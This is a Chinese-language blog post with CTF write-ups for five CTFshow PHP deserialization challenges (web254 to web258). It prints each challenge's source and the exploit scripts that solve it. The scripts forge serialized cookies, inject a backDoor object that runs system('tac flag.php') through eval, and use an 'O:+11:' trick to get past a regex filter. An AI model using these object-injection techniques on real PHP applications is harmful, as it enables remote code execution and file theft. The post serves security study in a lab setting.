Home CTFshow入门反序列化刷题记录_前五题
Post
Cancel

CTFshow入门反序列化刷题记录_前五题

web254

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解析

这道题不存在反序列化漏洞,类里面的username、password是真实的,直接使用就可以

?username=xxxxxx&password=xxxxxx

web255

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解析

Cookie 处添加了序列化函数,类里面的账号密码进行了更改,我们在exp还改成 xxxxx ,传参正常传

exp

?username=xxxxxx&password=xxxxxx

1
2
3
4
5
6
7
8
9
10
11
<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

}

$a = new ctfShowUser;
echo urlencode(serialize($a));

web256

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解析

题目和上一题就只是加了一个账号与密码不相等输出flag

exp

?username=xxxxx&password=xxxxxx

1
2
3
4
5
6
7
8
9
10
11
<?php

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxxx';
    public $isVip=true;

}

$a = new ctfShowUser;
echo(urlencode(serialize($a)));

web257

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

解析

这道题本身留了后门代码,我的思路是 backdoor 与 info 有相同函数,在销毁时统一调用, class 变量单独留出来了,我们可以直接操控 class 变量,让 class 直接等于backdoor这个类。原本在思考 __construct怎么绕过,发现写出exp可以直接用。

exp

?username=xxxxxx&password=xxxxxx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

use backDoor as GlobalBackDoor;
use ctfShowUser as GlobalCtfShowUser;

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;

}

class backDoor{
    public $code = 'system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}

$a = new GlobalBackDoor;
$b = new GlobalCtfShowUser;
$b->class=$a;
echo(urlencode(serialize($b)));

web258

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

解析

这里与上一题思路类似,只不过加了一个正则匹配,上一题的exp加个payload绕过就好

1
2
3
4
5
6
7
 if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
 [oc]    # 匹配o或者c
 :    # 匹配冒号
 \d+    # 匹配数字,+ 号表示可以由多个数字组成
 :    # 匹配冒号
 //i    # 表示大小写都匹配
组合一下也比较清晰明了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

use backDoor as GlobalBackDoor;
use ctfShowUser as GlobalCtfShowUser;

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class;

}

class backDoor{
    public $code = "system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = new GlobalCtfShowUser;
$b = new GlobalBackDoor;
$a->class=$b;

// echo serialize($a) . PHP_EOL;
// O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}

$exp = serialize($a);
// O:8:
// O:11:
$exp = str_replace('O:11:','O:+11:',$exp);
$exp = str_replace('O:8:','O:+8:',$exp);

echo $exp . PHP_EOL;
echo urlencode($exp);

This post is licensed under CC BY 4.0 by the author.